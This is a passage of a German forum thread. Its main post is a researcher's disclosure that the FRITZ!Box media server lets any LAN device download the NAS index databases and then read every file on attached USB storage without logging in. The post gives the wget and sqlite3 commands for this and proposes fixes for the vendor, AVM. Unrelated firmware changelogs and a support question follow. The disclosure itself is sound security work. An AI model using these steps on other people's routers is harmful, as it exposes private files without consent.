upnpcont: Musik-Interpreten, childs: 1, browsed: 1/50
          time: 0.092898 (total matches: 0.048670 [io: 0 R, 0 W, 0 S], browse: 0.044228 [io: 0 R, 0 W, 0 S])
upnpcont: Musik-Alben, childs: 1, browsed: 1/50
          time: 0.095605 (total matches: 0.046899 [io: 0 R, 0 W, 0 S], browse: 0.048706 [io: 0 R, 0 W, 0 S])
upnpcont: Musik-Titel, childs: 1, browsed: 1/50
          time: 0.098964 (total matches: 0.051095 [io: 0 R, 0 W, 0 S], browse: 0.047869 [io: 0 R, 0 W, 0 S])
upnpcont: Musik-Genres, childs: 1, browsed: 1/50
          time: 0.099288 (total matches: 0.050295 [io: 0 R, 0 W, 0 S], browse: 0.048993 [io: 0 R, 0 W, 0 S])
upnpcont: Musik-Ordner, childs: 1, browsed: 1/50, entries: pentest
          time: 0.118042 (total matches: 0.049794 [io: 0 R, 0 W, 0 S], browse: 0.068248 [io: 0 R, 0 W, 0 S])
upnpcont: Bilder, childs: 2, browsed: 2/50
          time: 0.063033 (total matches: 0.000023 [io: 0 R, 0 W, 0 S], browse: 0.063010 [io: 0 R, 0 W, 0 S])
upnpcont: Bilder-Alle Bilder, childs: 1, browsed: 1/50
          time: 0.109173 (total matches: 0.061482 [io: 0 R, 0 W, 0 S], browse: 0.047691 [io: 0 R, 0 W, 0 S])
upnpcont: Bilder-Ordner, childs: 1, browsed: 1/50, entries: pentest
          time: 0.118480 (total matches: 0.052029 [io: 0 R, 0 W, 0 S], browse: 0.066451 [io: 0 R, 0 W, 0 S])
upnpcont: Filme, childs: 2, browsed: 2/50
          time: 0.065745 (total matches: 0.000018 [io: 0 R, 0 W, 0 S], browse: 0.065727 [io: 0 R, 0 W, 0 S])
upnpcont: Filme-Alle Filme, childs: 1, browsed: 1/50
          time: 0.125515 (total matches: 0.055100 [io: 0 R, 0 W, 0 S], browse: 0.070415 [io: 0 R, 0 W, 0 S])
upnpcont: Filme-Ordner, childs: 1, browsed: 1/50, entries: pentest
          time: 0.120200 (total matches: 0.051314 [io: 0 R, 0 W, 0 S], browse: 0.068886 [io: 0 R, 0 W, 0 S])
upnpcont: Internetradio, childs: 0, browsed: 0/50
          time: 0.127613 (total matches: 0.053844 [io: 0 R, 0 W, 0 S], browse: 0.073769 [io: 0 R, 0 W, 0 S])
upnpcont: Podcasts, childs: 0, browsed: 0/50
          time: 0.174508 (total matches: 0.094891 [io: 0 R, 0 W, 0 S], browse: 0.079617 [io: 0 R, 0 W, 0 S])
fnas browse: /var/media/ftp, sort: title, entries: 12
          time: 1.084228 [io: 0 R, 0 W, 0 S]
fnas browse: /var/media/ftp/pentest, sort: title, entries: 44
          time: 0.916423 [io: 0 R, 0 W, 0 S]
fnas browse: /var/media/ftp/MULTIBOOT, sort: title, entries: 37
          time: 0.398975 [io: 0 R, 0 W, 0 S]
##### END SECTION nas_db

Hier gibt es also drei (verteilte) Datenbanken, wobei offensichtlich auf jedem USB-Volume (davon gibt es zwei, mit den Namen "pentest" und "MULTIBOOT") eine Datenbank liegt. Daß es sich bei dieser Datenbank um ein SQLite3-Format handeln dürfte, legt schon die Erweiterung und der Blick in die DSOs (in /lib) nahe.

Die Existenz der Datenbanken ist erst einmal auch unabhängig davon, ob der Mediaserver aktiviert ist oder nicht und ob der auf ein einzelnes Volume festgelegt ist ... AVM verwendet diese Index-Datenbanken offenbar für mehrere Dienste (wohl u.a. für den GUI-Zugriff auf die NAS-Daten).

Das Spannende daran ist es aber, daß sich diese Datenbanken ja offensichtlich ebenfalls unterhalb des "Wurzelverzeichnisses" eines gestarteten Mediaservers befinden. Den Pfad dorthin zu erraten, ist nun keine so richtig große Kunst - einen Startpunkt findet man halt unmittelbar über den Pfad /FRITZ/mediabox/fritznasdb_part.db3.

Gesetzt den Fall, daß die Wurzel des Mediaservers in /var/media/ftp liegt, steht man zwar noch vor der Aufgabe, den Namen des Mountpoints für ein USB-Volume irgendwie zu ermitteln, aber das ist dank der verschiedenen Ansichten, die der Mediaserver für uns bereithält, auch kein wirkliches Problem - das machen wir gleich.

Nicht aus den Augen verlieren sollte man auch die Zeilen mit der Anzahl der bei der Index-Erstellung gefundenen Dateien:
Code:

  item count:      audio: 1, video: 1, image: 1, doc: 5, other: 130
  item count:      audio: 1, video: 1, image: 1, doc: 3, other: 7
  item count:      audio: 0, video: 0, image: 5, doc: 11, other: 68

Nun hatten wir ja weiter oben die Liste der möglichen Media-Dateien seitens der FRITZ!Box mit folgenden Namen ermittelt:
  • Musik
  • Bilder
  • Filme
  • Internetradio
  • Podcasts
  • Datei-Index

Von den "item counts" lassen sich ja die ersten drei unmittelbar einem Media-Typ zuordnen (audio, video, image), aber bei "doc" und "other" ist das dann nicht mehr ganz so einfach. Für "doc" mag man ja noch eine Parallele zum Ordern "Dokumente" in der Verzeichnisstruktur des NAS finden (wenn man bei der Wurzel des AVM-Zeugs beginnt), aber für "other" fällt das zunächst mal schwer. Andererseits sind ja die Zähler für die dort indizierten Dateien am höchsten - das paßt auch zum Inhalt der angeschlossenen Sticks, denn da finden sich nur in Ausnahmefällen Media-Dateien, das sind mehr Shell-Skripte und andere "sonstige Dateien".

Nun kommen wir an diese Dateien ja trotzdem nicht per Download über den Mediaserver heran, solange wir nicht den genauen Pfad zu einer solchen Datei kennen. Nehmen wir mal an, daß da für den Mediaserver "keine Einschränkung" konfiguriert ist, dann startet unser über diesen Dienst erreichbarer "Verzeichnisbaum" ja unter /var/media/ftp und die erste Ebene bilden die Dateien im NAND-Flash der Box (dem für das NAS). In dieser Ebene gibt es dann neben den direkt dort gespeicherten Verzeichnissen und Dateien noch dynamisch erzeugte Verzeichnisse, die als Mountpoint für die USB-Volumes dienen - deren Namen sind erst einmal nicht vorhersagbar (jedenfalls nicht für jemanden ohne NAS-Rechte).

Aber der Mediaserver bietet uns ja auch für jeden Mediatyp eine Ansicht "Ordner" oder "Alle Titel" und auch die dort enthaltenen URLs für den Download geben ja entsprechende Hinweise auf die Namen der Mountpoints für die USB-Volumes.
Code:

<DIDL-Lite xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/" xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/"><item id="5:audio5:part31:12:19" parentID="4:cont2:530:3:AVM0:" restricted="0"> <dc:title>FRITZ!</dc:title> <upnp:class>object.item.audioItem.musicTrack</upnp:class> <res protocolInfo="http-get:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_OP=01;DLNA.ORG_CI=0;DLNA.ORG_FLAGS=01700000000000000000000000000000" >http://192.168.178.254:49200/AUDIO/DLNA-1-0/Musik/FRITZ-Song.mp3</res> </item><item id="5:audio5:part11:12:23" parentID="4:cont2:530:3:AVM0:" restricted="0"> <dc:title>FRITZ!</dc:title> <upnp:class>object.item.audioItem.musicTrack</upnp:class> <res protocolInfo="http-get:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_OP=01;DLNA.ORG_CI=0;DLNA.ORG_FLAGS=01700000000000000000000000000000" >http://192.168.178.254:49200/AUDIO/DLNA-1-0/pentest/Musik/FRITZ-Song.mp3</res> </item></DIDL-Lite>
<?xml version="1.0"?>
<DIDL-Lite xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/" xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/">
  <item id="5:audio5:part31:12:19" parentID="4:cont2:530:3:AVM0:" restricted="0">
    <dc:title>FRITZ!</dc:title>
    <upnp:class>object.item.audioItem.musicTrack</upnp:class>
    <res protocolInfo="http-get:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_OP=01;DLNA.ORG_CI=0;DLNA.ORG_FLAGS=01700000000000000000000000000000">http://192.168.178.254:49200/AUDIO/DLNA-1-0/Musik/FRITZ-Song.mp3</res>
  </item>
  <item id="5:audio5:part11:12:23" parentID="4:cont2:530:3:AVM0:" restricted="0">
    <dc:title>FRITZ!</dc:title>
    <upnp:class>object.item.audioItem.musicTrack</upnp:class>
    <res protocolInfo="http-get:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_OP=01;DLNA.ORG_CI=0;DLNA.ORG_FLAGS=01700000000000000000000000000000">http://192.168.178.254:49200/AUDIO/DLNA-1-0/pentest/Musik/FRITZ-Song.mp3</res>
  </item>
</DIDL-Lite>

Nachdem man dann diese Informationen eingesammelt hat, kann man ja mal versuchen, mit ihnen auf die Index-Datenbanken zuzugreifen ... wir erinnern uns, daß der jeweilige Pfad dorthin auf "/FRITZ/mediabox/fritznasdb_part.db3" endet und davor dann halt nichts oder der Name des Mountpoints kommt. Damit funktionieren dann auch die folgenden Kommandos:
Code:

# wget -q -O nas.db3 http://192.168.178.254:49200/FRITZ/mediabox/fritznasdb_part.db3
# wget -q -O nas_pentest.db3 http://192.168.178.254:49200/pentest/FRITZ/mediabox/fritznasdb_part.db3
# ls -la
total 136
drwxr-xr-x  2 root root  4096 Nov  9 00:29 ./
drwxrwxrwt 15 root root  4096 Nov  9 00:27 ../
-rw-r--r--  1 root root 52224 Jan  1  2000 nas.db3
-rw-r--r--  1 root root 77824 Jan  1  2000 nas_pentest.db3

Die Struktur der Datenbank kann uns jetzt Auskunft geben, welche Datenfelder für diese "other items" gespeichert sind:
Code:

# sqlite3 nas.db3 .schema >nas_schema.sql
# cat nas_schema.sql
CREATE TABLE statistic (id integer primary key default 0, dbversion varchar(10), partition_audio_count integer default 0, partition_video_count integer default 0, partition_image_count integer default 0, partition_other_count integer default 0, partition_doc_count integer default 0, partition_total_file_count integer default 0);
CREATE TABLE audio (id integer primary key autoincrement not null, album varchar(1024) default null, genre varchar(1024) default null, artist varchar(1024) default null, parentpath varchar(4096) not null, title varchar(1024) not null, band varchar(1024) default null, interpret varchar(1024) default null, publisher varchar(1024) default null, composer varchar(1024) default null, comment varchar(1024) default null, number integer default 0, recdate Date, duration varchar(10) default null, albumart integer default 0, size integer not null, playcount integer default 0, ext varchar(10) not null, playtime integer default 0, audiobitratemode integer default 0, protection integer default 0, audionrchannels integer default 0, audioavgbitrate integer default 0, audiocodecbitrate integer default 0, audiobitspersample integer default 0, audiosamplefrequency integer default 0, audiocodecinfo varchar(40) default null, mdate Date not null, filename varchar(10) not null collate nocase, updatedate Date default null, partition_type integer default 0);
CREATE TABLE video (id integer primary key autoincrement not null, album varchar(1024) default null, genre varchar(1024) default null, artist varchar(1024) default null, parentpath varchar(4096) not null, title varchar(1024) not null, band varchar(1024) default null, interpret varchar(1024) default null, publisher varchar(1024) default null, composer varchar(1024) default null, comment varchar(1024) default null, number integer default 0, recdate Date, duration varchar(10) default null, size integer not null, playcount integer default 0, ext varchar(10) not null, playtime integer default 0, bitratemode integer default 0, protection integer default 0, audionrchannels integer default 0, avgbitrate integer default 0, audiocodecbitrate integer default 0, audiobitspersample integer default 0, audiosamplefrequency integer default 0, audiocodecinfo varchar(40) default null, width integer default 0, height integer default 0, videocolordepth integer default 0, videoframerate integer default 0, videocodecbitrate integer default 0, videocodecinfo varchar(40) default null, mdate Date not null, filename varchar(10) not null collate nocase, updatedate Date default null, partition_type integer default 0);
CREATE TABLE doc (id integer primary key autoincrement not null, parentpath varchar(4096) not null, size integer not null, ext varchar(10) not null, mdate Date not null, filename varchar(10) not null collate nocase, updatedate Date default null, partition_type integer default 0);
CREATE TABLE image (id integer primary key autoincrement not null, parentpath varchar(4096) not null, size integer not null, ext varchar(10) not null, title varchar(1024) not null, comment varchar(1024) default null, description varchar(1024) default null, publisher varchar(1024) default null, subject varchar(1024) default null, recdate Date, width integer default 0, height integer default 0, thumbnail integer default 0, mdate Date not null, filename varchar(10) not null collate nocase, updatedate Date default null, partition_type integer default 0);
CREATE TABLE other (id integer primary key autoincrement not null, parentpath varchar(4096) not null, size integer not null, ext varchar(10), mdate Date not null, filename varchar(10) not null, updatedate Date default null, partition_type integer default 0);
CREATE TABLE directory (id integer primary key autoincrement not null, parentpath varchar(4096) not null, watchid integer, mdate Date not null, filename varchar(10) not null, updatedate Date default null, partition_type integer default 0);
CREATE TABLE playlist (id integer primary key autoincrement not null, parentpath varchar(4096) not null, title varchar(10) not null, matched_count integer default null, size integer not null, ext varchar(10) not null, mdate Date not null, filename varchar(10) not null, updatedate Date default null, partition_type integer default 0);
CREATE TABLE playlistitems (playlist_id integer not null, audio_id integer not null);
CREATE TABLE upnp_container (id integer primary key autoincrement, parent_id integer, meta_ref_artist varchar(10) default 0, meta_ref_genre varchar(10) default 0,meta_ref_playlist_id integer default 0, title varchar(10) default 0, type integer not null, class varchar(10) not null, updatenr integer default 0, childcount integer default 0, list_order integer default 0, part_ident integer not null);
CREATE TABLE upnp_audio_container (id integer primary key, cont_id_music_dir integer default 0, cont_id_music_album integer default 0, cont_id_music_artist_all integer default 0, cont_id_music_artist_album integer default 0, cont_id_music_genre_all integer default 0, cont_id_music_genre_artist integer default 0, cont_id_music_titles integer default 0, cont_id_webradio integer default 0, cont_id_podcasts integer default 0);
CREATE TABLE upnp_image_container (id integer primary key, cont_id_image_dir integer default 0, cont_id_image_titles integer default 0);
CREATE TABLE upnp_video_container (id integer primary key, cont_id_video_dir integer default 0, cont_id_video_titles integer default 0);
CREATE INDEX image_filename ON image(filename);
CREATE INDEX audio_filename ON audio(filename);
CREATE INDEX video_filename ON video(filename);
CREATE INDEX doc_filename ON doc(filename);
CREATE INDEX upnp_audio_container_cont_id_music_album ON upnp_audio_container(cont_id_music_album);
CREATE INDEX upnp_audio_container_cont_id_music_dir ON upnp_audio_container(cont_id_music_dir);
CREATE INDEX upnp_audio_container_cont_id_music_titles ON upnp_audio_container(cont_id_music_titles);
CREATE INDEX upnp_container_parent_id ON upnp_container(parent_id);
CREATE INDEX upnp_container_typetitle ON upnp_container(type, title);
CREATE INDEX upnp_container_parent_idtitle ON upnp_container(parent_id, title);
CREATE INDEX upnp_container_parent_idtitletype ON upnp_container(parent_id, title, type);
CREATE INDEX upnp_container_parent_idtype ON upnp_container(parent_id, type);
CREATE INDEX image_parentpath ON image(parentpath);
CREATE INDEX audio_parentpath ON audio(parentpath);
CREATE INDEX video_parentpath ON video(parentpath);
CREATE INDEX doc_parentpath ON doc(parentpath);
CREATE INDEX directory_parentpath ON directory(parentpath);
CREATE INDEX other_parentpath ON other(parentpath);
CREATE TRIGGER insert_video AFTER INSERT ON video BEGIN UPDATE statistic SET partition_video_count = partition_video_count +1 where id = 1;UPDATE statistic SET partition_total_file_count = partition_total_file_count +1 where id = 1;END;
CREATE TRIGGER delete_video AFTER DELETE ON video BEGIN UPDATE statistic SET partition_video_count = partition_video_count -1 where id = 1; UPDATE statistic SET partition_total_file_count = partition_total_file_count -1 where id = 1; END;
CREATE TRIGGER insert_image AFTER INSERT ON image BEGIN UPDATE statistic SET partition_image_count = partition_image_count +1 where id = 1;UPDATE statistic SET partition_total_file_count = partition_total_file_count +1 where id = 1;END;
CREATE TRIGGER delete_image AFTER DELETE ON image BEGIN UPDATE statistic SET partition_image_count = partition_image_count -1 where id = 1; UPDATE statistic SET partition_total_file_count = partition_total_file_count -1 where id = 1; END;
CREATE TRIGGER insert_other AFTER INSERT ON other BEGIN UPDATE statistic SET partition_other_count = partition_other_count +1 where id = 1;UPDATE statistic SET partition_total_file_count = partition_total_file_count +1 where id = 1;END;
CREATE TRIGGER delete_other AFTER DELETE ON other BEGIN UPDATE statistic SET partition_other_count = partition_other_count -1 where id = 1; UPDATE statistic SET partition_total_file_count = partition_total_file_count -1 where id = 1; END;
CREATE TRIGGER insert_doc AFTER INSERT ON doc BEGIN UPDATE statistic SET partition_doc_count = partition_doc_count +1 where id = 1;UPDATE statistic SET partition_total_file_count = partition_total_file_count +1 where id = 1;END;
CREATE TRIGGER delete_doc AFTER DELETE ON doc BEGIN UPDATE statistic SET partition_doc_count = partition_doc_count -1 where id = 1; UPDATE statistic SET partition_total_file_count = partition_total_file_count -1 where id = 1; END;
CREATE INDEX audio_titlecollatenocase ON audio(title collate nocase);
CREATE INDEX video_titlecollatenocase ON video(title collate nocase);
CREATE INDEX image_titlecollatenocase ON image(title collate nocase);
CREATE TRIGGER insert_audio AFTER INSERT ON audio BEGIN UPDATE statistic SET partition_audio_count = partition_audio_count +1 where id = 1;UPDATE statistic SET partition_total_file_count = partition_total_file_count +1 where id = 1;END;
CREATE TRIGGER delete_audio AFTER DELETE ON audio BEGIN UPDATE statistic SET partition_audio_count = partition_audio_count -1 where id = 1; UPDATE statistic SET partition_total_file_count = partition_total_file_count -1 where id = 1; END;

OK, die Tabelle, in der die Dateien aufgeführt sind, welche nicht als Media-Dateien erkannt wurden, heißt also auch noch "other" und hat einige Felder, die wohl einen Pfad enthalten (wenn so ein Feld schon "parentpath" heißt, ist diese Vermutung nicht ganz abwegig).

Lassen wir uns einfach mal die ein paar Datensätze ausgeben aus der Datenbank für den USB-Stick mit dem Label "pentest" (die Ergebnisse habe ich "ausgedünnt"):
Code:

# sqlite3 -header -list nas_pentest.db3 'SELECT * FROM other;'
id|parentpath|size|ext|mdate|filename|updatedate|partition_type
14|/var/media/ftp/pentest|68608|tar|2016-10-17 21:08:53|autoupdate.tar|2000-01-01 03:47:59|4
21|/var/media/ftp/pentest|6656|tar|2016-09-19 17:04:10|enable_dvb_c.tar|2000-01-01 03:47:59|4
33|/var/media/ftp/pentest/modfs|99053||2016-10-25 11:19:32|modfs|2016-11-07 19:08:33|4
38|/var/media/ftp/pentest/modfs/modscripts|4976||2016-07-29 16:10:07|mod_leddisplay|2016-11-07 19:08:33|4
46|/var/media/ftp/pentest/modfs/modscripts|3197||2016-07-29 16:10:27|mod_show_name|2016-11-07 19:08:33|4
50|/var/media/ftp/pentest/modfs/modscripts|19208|2|2016-02-18 19:17:00|gui_boot_manager_v0.3|2016-11-07 19:08:33|4
54|/var/media/ftp/pentest/modfs/bin/scripts|28792||2016-10-17 20:59:59|check_signed_image|2016-11-07 19:08:33|4
55|/var/media/ftp/pentest/modfs/bin/scripts|17911||2016-10-17 21:14:44|check_update|2016-11-07 19:08:33|4
56|/var/media/ftp/pentest/modfs/bin/scripts|3616||2016-10-17 16:01:11|yf_helpers|2016-11-07 19:08:33|4
57|/var/media/ftp/pentest/modfs/bin/scripts|172||2016-10-17 15:58:05|wrap_script|2016-11-07 19:08:33|4
58|/var/media/ftp/pentest/modfs/bin/scripts/functions|1578|function|2016-10-17 15:58:05|yf_network_interfaces.function|2016-11-07 19:08:33|4
95|/var/media/ftp/pentest/modfs/bin/scripts/functions|1768|function|2016-10-18 16:08:08|yf_uppercase.function|2016-11-07 19:08:33|4
96|/var/media/ftp/pentest/modfs/bin/scripts|3653||2016-10-18 03:47:52|check_image_signature|2016-11-07 19:08:33|4
107|/var/media/ftp/pentest/modfs/locale|13194||2016-09-25 16:05:08|de|2016-11-07 19:08:33|4
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110|/var/media/ftp/pentest/modfs|18092||2016-02-13 10:30:05|LICENSE|2016-11-07 19:08:33|4
112|/var/media/ftp/pentest/modfs|10745|ger|2016-04-26 17:18:02|BOOTSELECTION.ger|2016-11-07 19:08:33|4
114|/var/media/ftp/pentest|694||2016-10-26 16:17:39|replace_binary|2000-01-01 03:47:59|4
117|/var/media/ftp/pentest|157041664|tar|2016-10-23 17:40:30|firmware.tar|2000-01-01 03:47:59|4
120|/var/media/ftp/pentest|2513|sh|2016-10-30 00:14:20|save_system.sh|2000-01-01 03:47:59|4
128|/var/media/ftp/pentest|359||2016-11-01 04:29:38|switch_system|2000-01-01 03:47:59|4

Das sind also jede Menge Dateinamen, die man dort frei Haus geliefert bekommt (noch einmal deutlich, bis hier brauchte es nicht eine einzige Anmeldung an der FRITZ!Box - obwohl die natürlich korrekt eingestellt ist, ich habe nicht eine AVM-Warnung im Assistenten ignoriert) und am Ende braucht man eigentlich nur noch ein passendes SQL-Kommando auf die Datenbank loslassen, um eine Liste aller dort indizierten Dateien zu erhalten.
Code:

# for table in audio video image doc other; do sqlite3 nas_pentest.db3 "SELECT parentpath||'/'||filename FROM $table;"; done | sort >filenames.lst
Damit haben wir jetzt (muß ich erneut daran erinnern?) immer noch ohne eine einzige Authentifizierung ggü. der FRITZ!Box schon mal eine komplette Liste all der Dateien, die sich auf dem USB-Stick befinden - diese Liste ist tatsächlich vollständig, wenn man mal zählen läßt (das geht nun wirklich nur über die Shell auf der Box):
Code:

# find /var/media/ftp/pentest/ -type f | wc -l
133
# for table in audio video image doc other; do sqlite3 nas_pentest.db3 "SELECT parentpath||'/'||filename FROM $table;"; done | wc -l
133

Das paßt ja schon fast zu perfekt.

Jedenfalls lassen sich jetzt diese Dateien alle der Reihe nach über eine passende URL von der FRITZ!Box laden ... und das (man ahnt es fast) immer noch ohne jede Anmeldung.

Exemplarisch mal eine einzelne:
Code:

# wget -q -O - http://192.168.178.254:49200/pentest/switch_system
#! /bin/sh
current=$(sed -n -e "s/^linux_fs_start\t\([01]\)$/\1/p" /proc/sys/urlader/environment)
if [ ${#current} -eq 1 ]; then
        new=$(( ( $current + 1 ) % 2 ))
        echo "linux_fs_start $new" >/proc/sys/urlader/environment
        echo "system switched - new value is: linux_fs_start $new" 1>&2
        exit 0
else
        echo "unable to read linux_fs_start value" 1>&2
        exit 1
fi

Damit lasse ich mich zu der Behauptung hinreißen, daß man sich (zumindest wenn es um das Lesen von Dateiinhalten geht) die Vergabe getrennter Rechte für irgendwelche NAS-Benutzer auch getrost schenken kann - damit kann man höchstens die Zugriffe be-, aber nicht verhindern.

Die "Vertraulichkeit" des Inhalts dort liegender Dateien darf man jedenfalls nicht dieser Rechtevergabe anvertrauen, zumindest dann nicht, wenn gleichzeitig ein Zugriff auf so einen Datenträger über den Mediaserver der FRITZ!Box möglich ist - und das ist erwiesenermaßen die Standardeinstellung einer FRITZ!Box 6490 und vermutlich auch noch der 7490-Laborversion, es sei denn, AVM hat es doch noch geändert in diesem Zweig.



Zwar gelingen diese Zugriffe tatsächlich nur aus dem (W)LAN ... aber ich bin mir ziemlich sicher, daß sich lange nicht jeder FRITZ!Box-Besitzer der Tatsache bewußt war (und ist), daß in der Standardeinstellung (Mediaserver läuft mit "keine Einschränkungen") wirklich jeder USB-Speicher an der FRITZ!Box bis zur letzten Datei ausgelesen werden kann, selbst wenn man sich als Besitzer redlich darum bemüht hat, die Zugriffsrechte der Benutzer per FTP, Samba und GUI ordentlich zu regeln. Allerdings kann man über den Mediaserver nichts schreiben ... das ist zumindest mal ein kleiner Pluspunkt.

Was könnte AVM hier besser machen? Ich sage mal, so einiges ... das geht bereits damit los, daß man den Zugriff auf die Index-Datenbanken über jeden Weg des Zugriffs auf den NAS-Speicher blockieren sollte, das gilt eigentlich auch für die BPjM-Sperrliste, denn auch die stellt das System in einem dieser "FRITZ"-Ordner bereit und den Namen braucht man nicht raten.

Ohne diese Index-Datenbanken fällt schon mal ein wichtiger Punkt weg, denn ohne Kenntnis der genauen URL kann ein Angreifer nur raten bzw. probieren, welche Dateien dort erreichbar wären.

Der nächste Schritt wäre das Verstecken der tatsächlichen Verzeichnisstruktur im Inhaltsverzeichnis des Mediaservers ... an die Stelle des kompletten Pfades in einer URL für den Download könnte problemlos eine GUID (das ist eine eindeutige ID - globally unique) treten und dann braucht es eben ein passendes Mapping von dieser GUID (das kann eine SQLite3-DB auch gleich verwalten) auf den tatsächlichen Dateinamen.

Das macht dann das Raten praktisch unmöglich und wenn sich dann - als dritte Maßnahme - der Webserver für den Download auch noch daran orientiert, ob eine angeforderte Datei im Katalog des Mediaservers überhaupt veröffentlicht ist, dann ist (a) automatisch der Download der Index-DB blockiert und wenn man (b) nur für solche Dateien überhaupt eine GUID generiert, die auch abgerufen werden dürfen, dann gibt es für die ganzen Dateien in "other" gar keine "Adresse", mit der man da zugreifen könnte.

Diese drei Vorschläge überlappen sich zwar teilweise in ihren Effekten ... aber fällt dann mal eine dieser Maßnahmen aus (meinetwegen läßt sich der Webserver für den Dateidownload irgendwie austricksen), dann stehen die anderen Hindernisse trotzdem noch im Weg als weitere "line of defense". Wie wichtig mehrere solcher Verteidigungslinien nacheinander sein können, ist auch wieder eine Binsenweisheit.

Das Blockieren des Zugriffs auf die Index-Dateien ist sicherlich am leichtesten ... die ganzen NAS-Zugriffe prüfen ohnehin schon recht genau, daß da nicht außerhalb der gültigen Verzeichnisse zugegriffen werden kann, da ist die zusätzliche Prüfung, daß auf "FRITZ" nicht zugegriffen werden darf, eigentlich nur noch eine Formalie (die Quellen für diesen Teil der Firmware sind veröffentlicht im OpenSource-Paket).

Die dritte Maßnahme wäre fast schon als Abfallprodukt verfügbar, wenn man die zweite umsetzt ... die versteckt erstens die realen Verzeichnisstrukturen und wenn dann eine Datei ohne GUID gar nicht geladen werden kann, dann ist die "Entscheidung" für den Webserver (auf Port 49200) praktisch nicht mehr nötig, denn dann kriegen einfach nur die Media-Dateien eine solche GUID zugewiesen.



Aber ist es nicht eigentlich halb so wild, wenn man da alle USB-Speicher auslesen kann?

Das muß am Ende jeder selbst wissen ... immerhin steht dieser Zugriff derzeit jedem beliebigen Gerät im Heimnetz offen (und zwar ... da kommt Ihr nie drauf ... ohne jede Authentifizierung :)) und wenn mit dem IoT in der Zukunft immer mehr Geräte hinzukommen, dann kommen garantiert auch weitere "Lücken" in diesen Geräten auf. Wenn heute irgendeine Überwachungskamera für große DDoS-Angriffe rekrutiert werden kann, dann geht das morgen für den Kühlschrank und andere "weiße Ware" - bei anderen "Gadgets" ist das heute schon die Realität. Wenn der FireTV-Stick in aller Stille noch die Inhaltsverzeichnisse des NAS der FRITZ!Box einsammelt und an irgendeine "Sammelstelle" übermittelt, dann kann man sich als Angreifer auch nur noch gezielt die Dateien zusenden lassen, die man für "lesenswert" hält (und auch diese Auswahl kann noch eine Heuristik übernehmen).

Wer hingegen hingeht und sich z.B. OwnCloud auf seiner FRITZ!Box installiert und die Daten auf einem USB-Volume ablegt, der macht das vermutlich auch mit dem Gedanken im Hinterkopf, daß dann seine Daten auf der eigenen FRITZ!Box etwas sicherer vor dem Ausspähen sind ... läuft parallel noch der AVM-Mediaserver auf der Box mit (selbst ich kenne nicht so viele Leute, die den extra abschalten - wer würde denn auch schon erwarten, daß so ein Dienst standardmäßig aktiviert wird), sind die Daten vermutlich bei einem Cloud-Anbieter sogar noch sicherer vor allzu neugierigen Blicken (da lesen dann nur noch irgendwelche Dienste ständig mit).

Zumindest könnte dann AVM bei aktivierten Mediaserver für das freigegebene (oder eben alle, je nach Einstellungen) Volume(s) ehrlicherweise die Möglichkeit der Vergabe von "Leserechten" gleich deaktivieren - das ist ein reines Placebo (noch mal: unter den geschilderten Rahmenbedingungen).
Angehängte Grafiken

[Info] FRITZ!Box 7490 Labor-Firmware FRITZ!OS 06.69-41986 (10.11.2016)

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--- Weitere Verbesserungen im FRITZ!OS 6.69-41986 ---

Internet:
Behoben - Bandbreitenreservierung für das Heimnetz an einigen Anschlüssen nicht veränderbar

System:
Behoben - Ereignisse sporadisch unvollständig

Sicherheit:
Verbesserung - IP-Nebenstellen müssen mit einem mindestens achtstelligen Kennwort abgesichert werden. IP-Nebenstellen mit kürzeren Kennwörtern werden nach dem Update bis zur Vergabe eines längeren Kennworts deaktiviert.


WLAN:
Behoben - Keine Rückmeldung im Ereignisprotokoll nach Erstanmeldung eines WLAN-Gerätes

VDSL: 1.100.135.11
ADSL: 1.100.8.15
DECT: 5.28

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Update lief ohne Probleme durch. Voll Sync wie in älteren Versionen auch.

[Frage] Gab es eine 113.06.61 oder 62 für die 7490?

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Hallo,
AVM hat hier die Sourcen für eine 61er und 62er FW abgelegt.

Ist mir da irgendwie eine FW durch die Lappen gegangen?

Vielen Dank für die Rückmeldungen,
Frank

FRITZ!Box 7390 Labor-Firmware FRITZ!OS 06.69-41994 (11.11.2016)

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Neue Features:
- DECT: Unterstützung für den Betrieb von CAT-iq 2.0 fähigen Handgeräten
- DECT: neue Funktionen für FRITZ!Fon
- DECT: Gruppenschaltung für Heizkörperregler
- Smarthome: Schalten durch lokale Geräuscherkennung mit FRITZ!DECT 200

--- Verbesserungen im FRITZ!OS 6.69-41994 ---
DSL:
Behoben - DSL-Leitungstest auf Anmeldeseite wieder möglich

Internet:
Verbesserung - Textüberarbeitungen für Portfreigaben
Behoben - Fehler nach Übernahme von Einstellungsänderungen in der Kindersicherung
Behoben - Bandbreitenreservierung für das Heimnetz an einigen Anschlüssen nicht veränderbar

System:
Verbesserung - Zeitschaltungen für Smartphone und Tablet optimiert
Verbesserung - Anzeige der Anmeldungen über FTP oder SMB im Ereignissprotokoll
Behoben - Fehler im Assistenten zur Einstellungsübernahme ausgewählter Einstellungen
Behoben - Ereignisse sporadisch unvollständig

WLAN:
Behoben - WPS bei zeitgleich aktiven APs wieder zuverlässig verhindert
Behoben - Keine Rückmeldung im Ereignisprotokoll nach Erstanmeldung eines WLAN-Gerätes
Verbesserung - Stabilität angehoben

Telefonie:
Behoben - Eigene Ansagen für interne Anrufbeantworter können über die Benutzeroberfläche nicht geladen werden

Sicherheit:
Verbesserung - IP-Nebenstellen müssen mit einem mindestens achtstelligen Kennwort abgesichert werden. IP-Nebenstellen mit kürzeren Kennwörtern werden nach dem Update bis zur Vergabe eines längeren Kennworts deaktiviert.





Die Installation war problemlos!

7270 export Datei lässt sich nicht wieder herstellen

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Hallo.

Ich hatte eine 7270 v3 mit 5.50 avm image. Konnte die einstellungen noch sichern, dann ist sie abgeraucht. Leds leuchten kurz, power/dsl blinkt 1 2 mal, dann glimmen alle ganz minimal, und mittig wird sie dann auch ganz schnell sehr warm.

Jetzt hab ich ne neue 7270 v3 gekauft mit 6.05, aber die export datei lässt sich nicht herstellen. Falsches passwort sagt die matz. Seltsam, denn das stimmt eigentlich.
